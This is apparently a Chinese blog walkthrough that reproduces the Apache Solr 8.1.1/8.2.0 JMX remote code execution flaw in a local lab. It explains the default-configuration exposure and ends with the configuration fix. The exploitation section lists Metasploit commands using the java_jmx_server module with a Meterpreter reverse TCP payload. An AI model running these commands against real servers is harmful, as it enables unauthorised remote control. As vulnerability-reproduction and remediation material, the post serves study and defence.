Apache Solr JMX服务 RCE 漏洞复现
ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你
0X00漏洞简介
该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险。
Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"选项。
如果使用受影响版本中的默认solr.in.sh文件,那么将启用JMX监视并将其暴露在RMI_PORT上(默认值= 18983),
并且无需进行任何身份验证。
如果防火墙中的入站流量打开了此端口,则具有Solr节点网络访问权限的任何人都将能够访问JMX,
并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。
0X01漏洞影响范围
Apache Solr8.1.1和8.2.0版本且不影响Windows系统用户
0X02漏洞危害
如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。
0X03漏洞环境搭建
1.首先下载含有漏洞的Apache Solr版本
这里提供一个可以下载任意版本Apache Solr的网址
http://archive.apache.org/dist/lucene/solr
linux下可以通过命令wegt http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
来下载
或者可以windows下载好后通过xftp等软件传到linux
2.下载好后用 unzip solr-8.2.0.zip来讲该文件进行解压
解压完成后进入该文件夹的bin目录下
查看solr.in.sh文件发现ENABLE_REMOTE_JMX_OPTS="true"选项开启
在bin目录下执行命令
./solr start -force
来启动solr服务
访问ip加8983端口
得到该界面则环境搭建成功
0X04漏洞复现
使用尖刀端口扫描后发现18983端口开启
我们可以用MSF中的exploit/multi/misc/java_jmx_server模块进行漏洞复现。(因为我用kali搭建漏洞环境,使用127.0.0.1本地地址作为攻击目标)
开启msf执行如下命令
use exploit/multi/misc/java_jmx_server
set RHOST 127.0.0.1
set RPORT 18983
set payload java/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
执行完成,发现成功建立连接
0X05漏洞修复
将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。